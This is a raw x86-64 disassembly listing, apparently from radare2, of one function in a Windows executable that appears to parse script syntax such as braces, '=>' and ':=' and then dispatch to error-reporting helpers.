mov rax, qword [r13 + 0x70]
test rax, rax
je 0x140049a39
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x140049a39
cmp byte [rcx], 0x1a
jne 0x140049a39
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov dl, reloc.OLEAUT32.dll_DispGetParam
mov rcx, r13
call fcn.14004fa20
jmp 0x140049a51
cmp qword [r13 + 0x30], 0
jne 0x14004a45a
mov rdx, qword [rsp + 0x50]
mov rcx, r13
call fcn.14004dab0
test eax, eax
je 0x14004ae0e
jmp 0x1400494a8
mov eax, dword [rbp + 0x81e0]
mov dword [r13 + 0x2d8], eax
mov dword [r13 + 0x2dc], ebx
jmp 0x1400494a1
mov rdi, qword [rsp + 0x50]
mov r8d, 5
lea rdx, [0x1401047c8]
mov rcx, rdi
call fcn.1400c04f0
test eax, eax
jne 0x140049bd7
movzx eax, word [rdi + 0xa]
cmp ax, 0x20
je 0x140049aad
cmp ax, 9
jne 0x140049bd7
add rdi, 0xc
movzx edx, word [rdi]
cmp dx, 0x20
je 0x140049ac0
cmp dx, 9
jne 0x140049ac6
add rdi, 2
jmp 0x140049ab1
lea rcx, [0x1401047d8]
call fcn.1400bb988
test rax, rax
jne 0x140049bd7
mov r8, qword [0x14011f188]
cmp qword [r8 + 0x28], rax
jne 0x14004a604
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
cmp word [rdx + rax*2 - 2], 0x7b
jne 0x140049b66
dec rax
cmp word [rdx], 0
je 0x140049bc7
cmp rax, 0xffffffffffffffff
jne 0x140049b1b
inc rax
cmp word [rdx + rax*2], 0
jne 0x140049b11
lea rax, [rax - 1]
lea rax, [rdx + rax*2]
movzx ecx, word [rax]
cmp cx, 0x20
je 0x140049b32
cmp cx, 9
jne 0x140049b3d
cmp rax, rdx
je 0x140049b52
sub rax, 2
jmp 0x140049b23
mov word [rax + 2], r14w
mov rdx, rdi
mov rcx, r13
call fcn.140051f60
jmp 0x140049499
mov word [rax], r14w
mov rdx, rdi
mov rcx, r13
call fcn.140051f60
jmp 0x140049499
mov r9, qword [rbp - 0x60]
cmp word [r9], 0x7b
jne 0x14004a51b
lea rdx, [r9 + 2]
mov rax, rdx
nop dword [rax]
movzx ecx, word [rax]
cmp cx, 0x20
je 0x140049b8f
cmp cx, 9
jne 0x140049b95
add rax, 2
jmp 0x140049b80
sub rax, r9
sar rax, 1
mov r8, qword [rbp - 0x58]
sub r8, rax
mov qword [rbp - 0x58], r8
je 0x140049bc3
add r8, r8
mov rcx, r9
call fcn.1400bba40
mov rdx, rdi
mov rcx, r13
call fcn.140051f60
jmp 0x140049499
mov word [r9], r14w
mov rdx, rdi
mov rcx, r13
call fcn.140051f60
jmp 0x140049499
lea rax, [rsp + 0x41]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x60]
lea r8, [rsp + 0x50]
mov rdi, qword [rbp + 0x81d8]
mov rdx, rdi
mov rcx, r13
call fcn.14004b0d0
test eax, eax
je 0x14004ae0e
mov rax, qword [0x14011f188]
cmp qword [r13 + 0x2c8], 0
je 0x140049cf2
cmp qword [rax + 0x28], 0
jne 0x140049cf2
mov r8d, 3
lea rdx, [0x140104ca0]
mov rcx, qword [rsp + 0x50]
call fcn.1400c04f0
test eax, eax
je 0x140049c67
mov r8d, 3
lea rdx, [0x140104ca8]
mov rcx, qword [rsp + 0x50]
call fcn.1400c04f0
test eax, eax
jne 0x14004a6dc
mov rdx, qword [rsp + 0x50]
lea rbx, [rdx + 6]
movzx ecx, word [rbx]
cmp cx, 0x20
je 0x140049c7f
cmp cx, 9
jne 0x140049c85
add rbx, 2
jmp 0x140049c70
test cx, cx
jne 0x140049c94
mov rax, qword [rbp - 0x60]
cmp word [rax], 0x7b
je 0x140049cb6
cmp cx, 0x7b
jne 0x140049ca1
cmp word [rbx + 2], 0
jmp 0x140049cb0
cmp cx, 0x3d
jne 0x14004a6e1
cmp word [rbx + 2], 0x3e
jne 0x14004a6e1
mov edx, 0x2e
mov rcx, qword [r13 + 0x2d0]
call fcn.1400bb988
mov rcx, qword [rsp + 0x50]
movzx edx, word [rcx]
mov word [rax + 2], dx
mov r8, rbx
mov rcx, r13
call fcn.140052d30
test eax, eax
je 0x14004ae0e
lea rsi, [r13 + 0x94]
jmp 0x1400494af
lea r12, [r13 + 0x94]
cmp dword [r12], 0
je 0x140049ec8
cmp qword [rax + 0x28], 0
jne 0x140049ec8
mov rdi, qword [rsp + 0x50]
xor sil, sil
mov r8d, 6
lea rdx, [0x1400fffb0]
mov rcx, rdi
call fcn.1400c04f0
test eax, eax
jne 0x140049d77
movzx eax, word [rdi + 0xc]
cmp ax, 0x20
je 0x140049d40
cmp ax, 9
jne 0x140049d77
add rdi, 0xe
movzx eax, word [rdi]
cmp eax, 0x20
je 0x140049d51
cmp eax, 9
jne 0x140049d57
add rdi, 2
jmp 0x140049d44
cmp eax, 0x7f
ja 0x140049d74
mov ecx, eax
call fcn.1400c5040
test eax, eax
jne 0x140049d74
cmp word [rdi], 0x5f
je 0x140049d74
mov rdi, qword [rsp + 0x50]
jmp 0x140049d77
mov sil, 1
mov rdx, qword [rbp - 0x60]
mov rcx, rdi
call fcn.140047db0
test al, al
je 0x140049da9
xor r9d, r9d
movzx r8d, sil
mov rdx, rdi
mov rcx, r13
call fcn.140051140
test eax, eax
je 0x14004ae0e
mov rsi, r12
jmp 0x1400494a8
mov rbx, rdi
nop dword [rax]
movzx eax, word [rbx]
cmp eax, 0x7f
ja 0x140049dd2
mov ecx, eax
call fcn.1400c5040
test eax, eax
jne 0x140049dd2
movzx eax, word [rbx]
cmp ax, 0x5f
je 0x140049dd2
cmp ax, 0x2e
jne 0x140049dd8
add rbx, 2
jmp 0x140049db0
cmp rbx, rdi
jbe 0x14004a8c4
cmp ax, 0x20
je 0x140049ded
cmp ax, 9
jne 0x140049df6
add rbx, 2
movzx eax, word [rbx]
jmp 0x140049de1
cmp ax, 0x3a
jne 0x140049e22
cmp word [rbx + 2], 0x3d
jne 0x140049e22
movzx r8d, sil
mov rdx, rdi
mov rcx, r13
call fcn.140052e70
test eax, eax
je 0x14004ae0e
mov rsi, r12
jmp 0x1400494a8
test ax, ax
je 0x140049e48
cmp ax, 0x5b
je 0x140049e48
cmp ax, 0x7b
je 0x140049e48
cmp ax, 0x3d
jne 0x14004a8c4
cmp word [rbx + 2], 0x3e
jne 0x14004a8c4
lea r9, [rsp + 0x78]
movzx r8d, sil
mov rdx, rdi
mov rcx, r13
call fcn.1400528f0
test eax, eax
je 0x14004ae0e
cmp byte [rsp + 0x78], 0
jne 0x140049ec0
mov r9, qword [rbp - 0x60]
cmp word [r9], 0x7b
jne 0x14004a7d0
lea rdx, [r9 + 2]
mov rax, rdx
movzx ecx, word [rax]
cmp cx, 0x20
je 0x140049e90
cmp cx, 9
jne 0x140049e96
add rax, 2
jmp 0x140049e81
sub rax, r9
sar rax, 1
mov r8, qword [rbp - 0x58]
sub r8, rax
mov qword [rbp - 0x58], r8
je 0x140049ebc
add r8, r8
mov rcx, r9
call fcn.1400bba40
mov rsi, r12
jmp 0x1400494a8
mov word [r9], r14w
mov rsi, r12
jmp 0x1400494a8
mov rdx, qword [rbp - 0x60]
mov rcx, qword [rsp + 0x50]
call fcn.140047db0
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, r13
test al, al
je 0x140049efd
xor r9d, r9d
call fcn.140051140
test eax, eax
je 0x14004ae0e
mov rsi, r12
jmp 0x1400494af
mov rsi, r12
mov qword [rsp + 0x20], r14
xor r9d, r9d
call fcn.14004dc60
test eax, eax
je 0x14004ae0e
jmp 0x1400494af
mov rdi, qword [rbp + 0x81d8]
lea rsi, [r13 + 0x94]
jmp 0x1400494af
mov rdi, qword [rbx + 0x6b8]
movzx eax, byte [0x140127dbc]
test rdi, rdi
je 0x140049ff0
test al, al
je 0x140049ff0
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x140049f96
cmp dword [rbx + 0x718], 0
jne 0x140049f96
cmp byte [0x140121a8a], 0
jne 0x140049f96
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
lea r9, [0x1400fbbd0]
xor r8d, r8d
lea rdx, [0x140104950]
mov rcx, rbx
call fcn.140010850
mov r14d, eax
jmp 0x14004ae0e
mov ecx, reloc.WSOCK32.dll_getservbyport
call fcn.1400b9c64
mov rbx, rax
mov qword [rbp + 0x81d0], rax
xor r9d, r9d
lea r8, [0x1400fbbd0]
lea rdx, [0x140104950]
mov rcx, rdi
call fcn.14000ed70
mov qword [rbx], rax
test rax, rax
je 0x140049fdb
mov dword [rbx + 0x10], 5
mov qword [rbx + 0x20], rsi
jmp 0x14004ad5c
mov edx, reloc.WSOCK32.dll_getservbyport
mov rcx, rbx
call fcn.1400b9c5c
xor r14d, r14d
jmp 0x14004ad86
cmp byte [0x140127dbf], 0
je 0x14004a02d
test al, al
jne 0x14004a02d
mov eax, dword [rbx + 0x2dc]
mov dword [rsp + 0x20], eax
movzx r9d, word [rbx + 0x2d8]
lea r8, [0x1400fbbd0]
lea rdx, [0x140104950]
mov rcx, rbx
call fcn.14000f700
xor r14d, r14d
jmp 0x14004ae0e
xor r14d, r14d
lea rdx, [0x140104950]
mov rcx, rbx
jmp 0x14004adf4
mov qword [r13 + 0x6b8], r14
mov rax, qword [rsp + 0x50]
test rax, rax
lea rcx, [0x1400fbbd0]
cmovne rcx, rax
cmp byte [0x140127dbf], 0
je 0x14004a095
cmp byte [0x140127dbc], 0
jne 0x14004a095
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
movzx r9d, word [r13 + 0x2d8]
mov r8, rcx
lea rdx, [0x140104b28]
mov rcx, r13
call fcn.14000f700
jmp 0x14004ae0e
mov r9, rcx
lea rdx, [0x140104b28]
mov rcx, r13
jmp 0x14004adfb
mov rax, qword [rsp + 0x50]
mov rdi, qword [r13 + 0x6b8]
movzx ecx, byte [0x140127dbc]
test rdi, rdi
je 0x14004a15e
test cl, cl
je 0x14004a15e
test rax, rax
lea rsi, [0x1400fbbd0]
cmovne rsi, rax
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004a101
cmp dword [r13 + 0x718], 0
jne 0x14004a101
cmp byte [0x140121a8a], 0
jne 0x14004a101
mov r9, rsi
jmp 0x14004acf8
mov ecx, reloc.WSOCK32.dll_getservbyport
call fcn.1400b9c64
mov rbx, rax
mov qword [rbp + 0x81d0], rax
xor r9d, r9d
mov r8, rsi
lea rdx, [0x1400ffa10]
mov rcx, rdi
call fcn.14000ed70
mov qword [rbx], rax
test rax, rax
je 0x14004ad79
mov dword [rbx + 0x10], 5
mov qword [rbx + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, qword [0x14011f188]
mov rcx, rdi
call fcn.14000f2c0
mov r14d, eax
jmp 0x14004ae0e
test rax, rax
lea rdx, [0x1400fbbd0]
cmovne rdx, rax
cmp byte [0x140127dbf], 0
je 0x14004a1a3
test cl, cl
jne 0x14004a1a3
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
movzx r9d, word [r13 + 0x2d8]
mov r8, rdx
lea rdx, [0x1400ffa10]
mov rcx, r13
call fcn.14000f700
jmp 0x14004ae0e
mov r9, rdx
lea rdx, [0x1400ffa10]
mov rcx, r13
jmp 0x14004adfb
mov ecx, reloc.WSOCK32.dll_getservbyport
call fcn.1400b9c64
lea r8, [0x1400fbbd0]
mov rbx, rax
xor r9d, r9d
mov qword [rbp + 0x81d0], rax
lea rdx, [0x140104950]
mov rcx, rdi
call fcn.14000ed70
mov qword [rbx], rax
test rax, rax
je 0x14004ad79
mov dword [rbx + 0x10], 5
mov qword [rbx + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, qword [0x14011f188]
mov rcx, rdi
call fcn.14000f2c0
mov r14d, eax
jmp 0x14004ae0e
cmp byte [0x140127dbf], 0
je 0x14004a251
test al, al
jne 0x14004a251
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
movzx r9d, word [r13 + 0x2d8]
lea r8, [0x1400fbbd0]
lea rdx, [0x140104950]
mov rcx, r13
call fcn.14000f700
jmp 0x14004ae0e
lea rdx, [0x140104950]
jmp 0x14004adf1
mov ecx, reloc.WSOCK32.dll_getservbyport
call fcn.1400b9c64
mov r8, r15
lea rdx, [0x140104950]
jmp 0x14004ad34
cmp byte [0x140127dbf], 0
je 0x14004a28c
test al, al
jne 0x14004a28c
mov dword [rsp + 0x20], ecx
jmp 0x14004a4fc
mov r9, r15
lea rdx, [0x140104950]
mov rcx, r13
jmp 0x14004adfb
mov rax, qword [rsp + 0x50]
mov r9, qword [r13 + 0x6b8]
movzx ecx, byte [0x140127dbc]
test r9, r9
je 0x14004a32c
test cl, cl
je 0x14004a32c
test rax, rax
cmovne r15, rax
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004a308
cmp dword [r13 + 0x718], 0
jne 0x14004a308
cmp byte [0x140121a8a], 0
jne 0x14004a308
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r9
mov r9, r15
lea rdx, [0x140104ad0]
mov rcx, r13
xor r8d, r8d
call fcn.140010850
mov r14d, eax
jmp 0x14004ae0e
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r8, r15
lea rdx, [0x140104ad0]
mov rcx, r13
call fcn.14000f120
mov r14d, eax
jmp 0x14004ae0e
test rax, rax
cmovne r15, rax
cmp byte [0x140127dbf], 0
je 0x14004a36a
test cl, cl
jne 0x14004a36a
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
movzx r9d, word [r13 + 0x2d8]
mov r8, r15
lea rdx, [0x140104ad0]
mov rcx, r13
call fcn.14000f700
jmp 0x14004ae0e
mov r9, r15
lea rdx, [0x140104ad0]
mov rcx, r13
jmp 0x14004adfb
mov rax, qword [rsp + 0x50]
mov r9, qword [r13 + 0x6b8]
movzx ecx, byte [0x140127dbc]
test r9, r9
je 0x14004a40a
test cl, cl
je 0x14004a40a
test rax, rax
cmovne r15, rax
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004a3e6
cmp dword [r13 + 0x718], 0
jne 0x14004a3e6
cmp byte [0x140121a8a], 0
jne 0x14004a3e6
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r9
mov r9, r15
xor r8d, r8d
lea rdx, [0x1401048c0]
mov rcx, r13
call fcn.140010850
mov r14d, eax
jmp 0x14004ae0e
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r8, r15
lea rdx, [0x1401048c0]
mov rcx, r13
call fcn.14000f120
mov r14d, eax
jmp 0x14004ae0e
test rax, rax
cmovne r15, rax
cmp byte [0x140127dbf], 0
je 0x14004a448
test cl, cl
jne 0x14004a448
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
movzx r9d, word [r13 + 0x2d8]
mov r8, r15
lea rdx, [0x1401048c0]
mov rcx, r13
call fcn.14000f700
jmp 0x14004ae0e
mov r9, r15
lea rdx, [0x1401048c0]
mov rcx, r13
jmp 0x14004adfb
mov r9, qword [r13 + 0x6b8]
movzx eax, byte [0x140127dbc]
test r9, r9
je 0x14004a4dc
test al, al
je 0x14004a4dc
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004a4b8
cmp dword [r13 + 0x718], 0
jne 0x14004a4b8
cmp byte [0x140121a8a], 0
jne 0x14004a4b8
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r9
mov r9, r15
lea rdx, [0x140104950]
mov rcx, r13
xor r8d, r8d
call fcn.140010850
mov r14d, eax
jmp 0x14004ae0e
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r8, r15
lea rdx, [0x140104950]
mov rcx, r13
call fcn.14000f120
mov r14d, eax
jmp 0x14004ae0e
cmp byte [0x140127dbf], 0
je 0x14004a28c
test al, al
jne 0x14004a28c
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
lea rdx, [0x140104950]
mov r8, r15
movzx r9d, word [r13 + 0x2d8]
mov rcx, r13
call fcn.14000f700
jmp 0x14004ae0e
mov rdi, qword [r13 + 0x6b8]
movzx eax, byte [0x140127dbc]
test rdi, rdi
je 0x14004a5c7
test al, al
je 0x14004a5c7
test rdx, rdx
cmovne r15, rdx
cmp dword [r8 + 0x60], 0
jne 0x14004a56a
cmp dword [r13 + 0x718], 0
jne 0x14004a56a
cmp byte [0x140121a8a], 0
jne 0x14004a56a
mov r9, r15
lea rdx, [0x140104c88]
jmp 0x14004acff
mov ecx, reloc.WSOCK32.dll_getservbyport
call fcn.1400b9c64
mov rbx, rax
mov qword [rbp + 0x81d0], rax
xor r9d, r9d
mov r8, r15
lea rdx, [0x140104c88]
mov rcx, rdi
call fcn.14000ed70
mov qword [rbx], rax
test rax, rax
je 0x14004ad79
mov dword [rbx + 0x10], 5
mov qword [rbx + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, qword [0x14011f188]
mov rcx, rdi
call fcn.14000f2c0
mov r14d, eax
jmp 0x14004ae0e
test rdx, rdx
cmovne r15, rdx
cmp byte [0x140127dbf], 0
je 0x14004a5f2
test al, al
jne 0x14004a5f2
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
lea rdx, [0x140104c88]
jmp 0x14004a503
mov r9, r15
lea rdx, [0x140104c88]
mov rcx, r13
jmp 0x14004adfb
mov rax, qword [rsp + 0x50]
mov r9, qword [r13 + 0x6b8]
movzx ecx, byte [0x140127dbc]
test r9, r9
je 0x14004a68c
test cl, cl
je 0x14004a68c
test rax, rax
cmovne r15, rax
cmp dword [r8 + 0x60], 0
jne 0x14004a668
cmp dword [r13 + 0x718], 0
jne 0x14004a668
cmp byte [0x140121a8a], 0
jne 0x14004a668
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r9
mov r9, r15
lea rdx, [0x140104c40]
mov rcx, r13
xor r8d, r8d
call fcn.140010850
mov r14d, eax
jmp 0x14004ae0e
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r8, r15
lea rdx, [0x140104c40]
mov rcx, r13
call fcn.14000f120
mov r14d, eax
jmp 0x14004ae0e
test rax, rax
cmovne r15, rax
cmp byte [0x140127dbf], 0
je 0x14004a6ca
test cl, cl
jne 0x14004a6ca
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
movzx r9d, word [r13 + 0x2d8]
mov r8, r15
lea rdx, [0x140104c40]
mov rcx, r13
call fcn.14000f700
jmp 0x14004ae0e
mov r9, r15
lea rdx, [0x140104c40]
mov rcx, r13
jmp 0x14004adfb
mov rdx, qword [rsp + 0x50]
mov rdi, qword [r13 + 0x6b8]
movzx eax, byte [0x140127dbc]
test rdi, rdi
je 0x14004a793
test al, al
je 0x14004a793
test rdx, rdx
cmovne r15, rdx
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004a736
cmp dword [r13 + 0x718], 0
jne 0x14004a736
cmp byte [0x140121a8a], 0
jne 0x14004a736
mov r9, r15
lea rdx, [0x140104cb0]
jmp 0x14004acff
mov ecx, reloc.WSOCK32.dll_getservbyport
call fcn.1400b9c64
mov rbx, rax
mov qword [rbp + 0x81d0], rax
xor r9d, r9d
mov r8, r15
lea rdx, [0x140104cb0]
mov rcx, rdi
call fcn.14000ed70
mov qword [rbx], rax
test rax, rax
je 0x14004ad79
mov dword [rbx + 0x10], 5
mov qword [rbx + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, qword [0x14011f188]
mov rcx, rdi
call fcn.14000f2c0
mov r14d, eax
jmp 0x14004ae0e
test rdx, rdx
cmovne r15, rdx
cmp byte [0x140127dbf], 0
je 0x14004a7be
test al, al
jne 0x14004a7be
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
lea rdx, [0x140104cb0]
jmp 0x14004a503
mov r9, r15
lea rdx, [0x140104cb0]
mov rcx, r13
jmp 0x14004adfb
mov rax, qword [rsp + 0x50]
mov rdi, qword [r13 + 0x6b8]
movzx ecx, byte [0x140127dbc]
test rdi, rdi
je 0x14004a887
test cl, cl
je 0x14004a887
test rax, rax
cmovne r15, rax
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004a82a
cmp dword [r13 + 0x718], 0
jne 0x14004a82a
cmp byte [0x140121a8a], 0
jne 0x14004a82a
mov r9, r15
lea rdx, [0x140104d00]
jmp 0x14004acff
mov ecx, reloc.WSOCK32.dll_getservbyport
call fcn.1400b9c64
mov rbx, rax
mov qword [rbp + 0x81d0], rax
xor r9d, r9d
mov r8, r15
lea rdx, [0x140104d00]
mov rcx, rdi
call fcn.14000ed70
mov qword [rbx], rax
test rax, rax
je 0x14004ad79
mov dword [rbx + 0x10], 5
mov qword [rbx + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, qword [0x14011f188]
mov rcx, rdi
call fcn.14000f2c0
mov r14d, eax
jmp 0x14004ae0e
test rax, rax
cmovne r15, rax
cmp byte [0x140127dbf], 0
je 0x14004a8b2
test cl, cl
jne 0x14004a8b2
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
lea rdx, [0x140104d00]
jmp 0x14004a503
mov r9, r15
lea rdx, [0x140104d00]
mov rcx, r13
jmp 0x14004adfb
mov rax, qword [rsp + 0x50]
mov rdi, qword [r13 + 0x6b8]
movzx ecx, byte [0x140127dbc]
test rdi, rdi
je 0x14004a97b
test cl, cl
je 0x14004a97b
test rax, rax
cmovne r15, rax
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004a91e
cmp dword [r13 + 0x718], 0
jne 0x14004a91e
cmp byte [0x140121a8a], 0
jne 0x14004a91e
mov r9, r15
lea rdx, [0x140104d60]
jmp 0x14004acff
mov ecx, reloc.WSOCK32.dll_getservbyport
call fcn.1400b9c64
mov rbx, rax
mov qword [rbp + 0x81d0], rax
xor r9d, r9d
mov r8, r15
lea rdx, [0x140104d60]
mov rcx, rdi
call fcn.14000ed70
mov qword [rbx], rax
test rax, rax
je 0x14004ad79
mov dword [rbx + 0x10], 5
mov qword [rbx + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, qword [0x14011f188]
mov rcx, rdi
call fcn.14000f2c0
mov r14d, eax
jmp 0x14004ae0e
test rax, rax
cmovne r15, rax
cmp byte [0x140127dbf], 0
je 0x14004a9a6
test cl, cl
jne 0x14004a9a6
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
lea rdx, [0x140104d60]
jmp 0x14004a503
mov r9, r15
lea rdx, [0x140104d60]
mov rcx, r13
jmp 0x14004adfb
mov r9, qword [r13 + 0x6b8]
movzx eax, byte [0x140127dbc]
test r9, r9
je 0x14004aa3e
test al, al
je 0x14004aa3e
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004aa18
cmp dword [r13 + 0x718], 0
jne 0x14004aa18
cmp byte [0x140121a8a], 0
jne 0x14004aa18
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x50]
lea rdx, [0x140104c18]
mov rcx, r13
xor r8d, r8d
call fcn.140010850
mov r14d, eax
jmp 0x14004ae0e
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r8, qword [rsp + 0x50]
lea rdx, [0x140104c18]
mov rcx, r13
call fcn.14000f120
mov r14d, eax
jmp 0x14004ae0e
cmp byte [0x140127dbf], 0
je 0x14004aa77
test al, al
jne 0x14004aa77
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
movzx r9d, word [r13 + 0x2d8]
mov r8, qword [rsp + 0x50]
lea rdx, [0x140104c18]
mov rcx, r13
call fcn.14000f700
jmp 0x14004ae0e
mov r9, qword [rsp + 0x50]
lea rdx, [0x140104c18]
mov rcx, r13
jmp 0x14004adfb
lea rsi, [r13 + 0x94]
cmp byte [rsp + 0x43], 0
jne 0x14004ac2e
mov rcx, qword [r13 + 0x70]
test rcx, rcx
jne 0x14004aab7
cmp dword [rsi], ecx
je 0x14004ac2e
test rcx, rcx
je 0x14004ab38
lea rdx, [0x140104dc8]
cmp byte [0x140127dbc], 0
je 0x14004aaeb
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8, r15
lea rcx, [0x140127620]
call fcn.14000f850
mov r14d, eax
jmp 0x14004ae0e
cmp byte [0x140127dbf], 0
je 0x14004ab14
mov eax, dword [rcx + 4]
mov dword [rsp + 0x20], eax
movzx r9d, word [rcx + 2]
mov r8, r15
lea rcx, [0x140127620]
call fcn.14000f700
jmp 0x14004ae0e
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
mov r9, r15
lea rcx, [0x140127620]
xor r8d, r8d
call fcn.140010850
mov r14d, eax
jmp 0x14004ae0e
lea rax, [r13 + 0xc0]
mov rdi, qword [r13 + 0x6b8]
movzx ecx, byte [0x140127dbc]
test rdi, rdi
je 0x14004abf1
test cl, cl
je 0x14004abf1
test rax, rax
cmovne r15, rax
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004ab94
cmp dword [r13 + 0x718], 0
jne 0x14004ab94
cmp byte [0x140121a8a], 0
jne 0x14004ab94
mov r9, r15
lea rdx, [0x140104dc8]
jmp 0x14004acff
mov ecx, reloc.WSOCK32.dll_getservbyport
call fcn.1400b9c64
mov rbx, rax
mov qword [rbp + 0x81d0], rax
xor r9d, r9d
mov r8, r15
lea rdx, [0x140104dc8]
mov rcx, rdi
call fcn.14000ed70
mov qword [rbx], rax
test rax, rax
je 0x14004ad79
mov dword [rbx + 0x10], 5
mov qword [rbx + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, qword [0x14011f188]
mov rcx, rdi
call fcn.14000f2c0
mov r14d, eax
jmp 0x14004ae0e
test rax, rax
cmovne r15, rax
cmp byte [0x140127dbf], 0
je 0x14004ac1c
test cl, cl
jne 0x14004ac1c
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
lea rdx, [0x140104dc8]
jmp 0x14004a503
mov r9, r15
lea rdx, [0x140104dc8]
mov rcx, r13
jmp 0x14004adfb
mov rcx, qword [r13 + 0x78]
test rcx, rcx
je 0x14004ac44
call fcn.140010df0
mov r14d, eax
jmp 0x14004ae0e
cmp qword [r13 + 0x30], 0
je 0x14004aca0
mov rdi, qword [r13 + 0x6b8]
movzx eax, byte [0x140127dbc]
test rdi, rdi
je 0x14004a4dc
test al, al
je 0x14004a4dc
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004ac8e
cmp dword [r13 + 0x718], 0
jne 0x14004ac8e
cmp byte [0x140121a8a], 0
je 0x140049846
mov ecx, reloc.WSOCK32.dll_getservbyport
call fcn.1400b9c64
mov r8, r15
jmp 0x14004a1c6
inc dword [r13 + 0x2dc]
mov r14d, 1
jmp 0x14004ae0e
mov rdi, qword [r13 + 0x6b8]
movzx eax, byte [0x140127dbc]
test rdi, rdi
je 0x14004adb2
test al, al
je 0x14004adb2
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004ad1c
cmp dword [r13 + 0x718], 0
jne 0x14004ad1c
cmp byte [0x140121a8a], 0
jne 0x14004ad1c
lea r9, [0x1400fbbd0]
lea rdx, [0x1400ffa10]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rdi
mov rcx, r13
xor r8d, r8d
call fcn.140010850
mov r14d, eax
jmp 0x14004ae0e
mov ecx, reloc.WSOCK32.dll_getservbyport
call fcn.1400b9c64
lea r8, [0x1400fbbd0]
lea rdx, [0x1400ffa10]
mov rbx, rax
xor r9d, r9d
mov qword [rbp + 0x81d0], rax
mov rcx, rdi
call fcn.14000ed70
mov qword [rbx], rax
test rax, rax
je 0x14004ad79
mov dword [rbx + 0x10], 5
mov qword [rbx + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, qword [0x14011f188]
mov rcx, rdi
call fcn.14000f2c0
mov r14d, eax
jmp 0x14004ae0e
mov edx, reloc.WSOCK32.dll_getservbyport
mov rcx, rbx
call fcn.1400b9c5c
mov rax, qword [0x14011f188]
cmp qword [rax + 0x58], 0
jne 0x14004ae0e
mov qword [rsp + 0x20], r14
xorps xmm3, xmm3
xor r8d, r8d
mov edx, 0x10000
lea rcx, [0x1400ff430]
call fcn.1400a34f0
jmp 0x14004ae0e
cmp byte [0x140127dbf], 0
je 0x14004adea
test al, al
jne 0x14004adea
mov eax, dword [r13 + 0x2dc]
mov dword [rsp + 0x20], eax
movzx r9d, word [r13 + 0x2d8]
lea r8, [0x1400fbbd0]
lea rdx, [0x1400ffa10]
mov rcx, r13
call fcn.14000f700
jmp 0x14004ae0e
lea rdx, [0x1400ffa10]
mov rcx, r13
lea r9, [0x1400fbbd0]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r8d, r8d
call fcn.140010850
nop
mov rcx, qword [rbp - 0x60]
call fcn.1400c0480
nop
mov rcx, qword [rsp + 0x50]
call fcn.1400c0480
mov eax, r14d
add rsp, 0x8288
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret